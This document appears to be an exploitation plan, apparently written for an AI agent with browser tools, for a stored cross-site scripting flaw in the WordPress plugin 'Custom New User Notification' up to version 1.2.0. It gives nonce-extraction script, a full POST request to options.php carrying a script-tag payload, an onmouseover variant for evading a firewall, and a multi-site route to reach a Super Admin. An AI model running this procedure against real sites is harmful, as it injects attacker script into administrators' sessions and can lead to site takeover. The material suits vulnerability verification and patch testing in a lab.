Custom New User Notification <= 1.2.0 - Authenticated (Administrator+) Stored Cross-Site Scripting via 'User Mail Subject' Setting

This research plan targets a Stored Cross-Site Scripting (XSS) vulnerability in the "Custom New User Notification" plugin (<= 1.2.0).

---

1. Vulnerability Summary

The Custom New User Notification plugin fails to sanitize and escape several configuration settings. These settings (e.g., User Mail Subject, User From Name) are registered via register_setting() without a sanitize_callback and later rendered in the admin settings dashboard via get_option() directly inside HTML input value attributes without using esc_attr(). This allows an authenticated administrator (or a sub-site administrator in a Multi-site environment) to inject a payload that breaks out of the HTML attribute and executes arbitrary JavaScript in the context of any user (typically a Super Admin or Admin) visiting the settings page.

2. Attack Vector Analysis

• Vulnerable Endpoint: wp-admin/options.php (Standard WordPress settings handler).
• Vulnerable Page: The plugin's settings page, typically located at wp-admin/options-general.php?page=custom-new-user-notification (inferred slug).
• HTTP Parameter: user_mail_subject, user_from_name, user_from_email, admin_mail_subject, admin_from_name, or admin_from_email.
• Authentication Required: Administrator (or Sub-site Admin in Multi-site).
• Preconditions: The plugin must be active.

3. Code Flow (Inferred from Patch Description)

1. Registration: During admin_init, the plugin calls register_setting( 'cnun_options_group', 'user_mail_subject' ) (group name inferred). It fails to provide a third argument with a sanitize_callback like sanitize_text_field.
2. Storage: When an admin submits the settings form, options.php receives the raw payload and updates the option in the wp_options table via update_option().
3. Output (The Sink): In the admin menu callback function (registered via add_options_page):
   • The plugin retrieves the value: $subject = get_option('user_mail_subject');
   • The plugin echoes the value into a form: echo '<input type="text" name="user_mail_subject" value="' . $subject . '" />';
   • Because $subject contains "><script>alert(1)</script>, the HTML becomes: <input ... value=""><script>alert(1)</script>" />.

4. Nonce Acquisition Strategy

Since this exploit targets the standard WordPress Settings API, it requires a nonce generated for the specific settings group.

1. Identify the Page: Navigate to the plugin settings page.
2. Navigate and Inspect: Use browser_navigate to go to URL_BASE + "/wp-admin/options-general.php?page=custom-new-user-notification".
3. Extract Nonce and Group: Use browser_eval to extract the _wpnonce and the option_page values from the hidden inputs.

   // Example browser_eval logic
   {
     "option_page": document.querySelector('input[name="option_page"]')?.value,
     "nonce": document.querySelector('input[name="_wpnonce"]')?.value
   }
   

4. Confirm Identifier: Confirm if the option_page matches cnun_options_group or similar.

5. Exploitation Strategy

Payload: "><script>alert(window.origin)</script>

Step 1: Authentication
Log in to the WordPress instance as an Administrator using the provided credentials.

Step 2: Information Gathering
Navigate to the settings page to confirm the exact parameter names and the nonce.

• URL: /wp-admin/options-general.php?page=custom-new-user-notification

Step 3: Execution (HTTP Request)
Send a POST request to options.php to store the payload.

• Method: POST
• URL: /wp-admin/options.php
• Headers: Content-Type: application/x-www-form-urlencoded
• Body:

  option_page=[EXTRACTED_OPTION_PAGE]&
  action=update&
  _wpnonce=[EXTRACTED_NONCE]&
  user_mail_subject="><script>alert(window.origin)</script>&
  submit=Save+Changes
  

Step 4: Triggering the XSS
Navigate back to the settings page: /wp-admin/options-general.php?page=custom-new-user-notification.

6. Test Data Setup

1. Active Plugin: Ensure custom-new-user-notification is installed and activated.
2. Admin User: Create or use an existing Administrator account.
3. Initial State: Ensure the settings fields are currently empty or contain default values.

7. Expected Results

• The options.php request should return a 302 Redirect back to the settings page with settings-updated=true.
• Upon navigating to the settings page, the browser should execute the JavaScript alert(window.origin).
• The HTML source of the page should show the payload breaking out of the value attribute:
  <input ... value=""><script>alert(window.origin)</script>" />

8. Verification Steps

1. Check DB via WP-CLI:

   wp option get user_mail_subject
   

   Confirm the output matches the injected payload.
2. DOM Inspection: Use browser_eval to check if the script tag exists in the DOM after the settings page loads.

   document.getElementsByTagName('script').length // And search for the alert content
   

9. Alternative Approaches

• Other Sinks: If user_mail_subject is sanitized (unlikely given the report), repeat the process for user_from_name, admin_mail_subject, etc.
• Attribute-Based Payloads: If <script> tags are blocked by a WAF but the attribute breakout is still possible, use an event handler:
  " onmouseover="alert(1)
• Multi-site Context: If testing in a Multi-site environment, perform the update as a Blog Admin and verify the trigger as a Super Admin.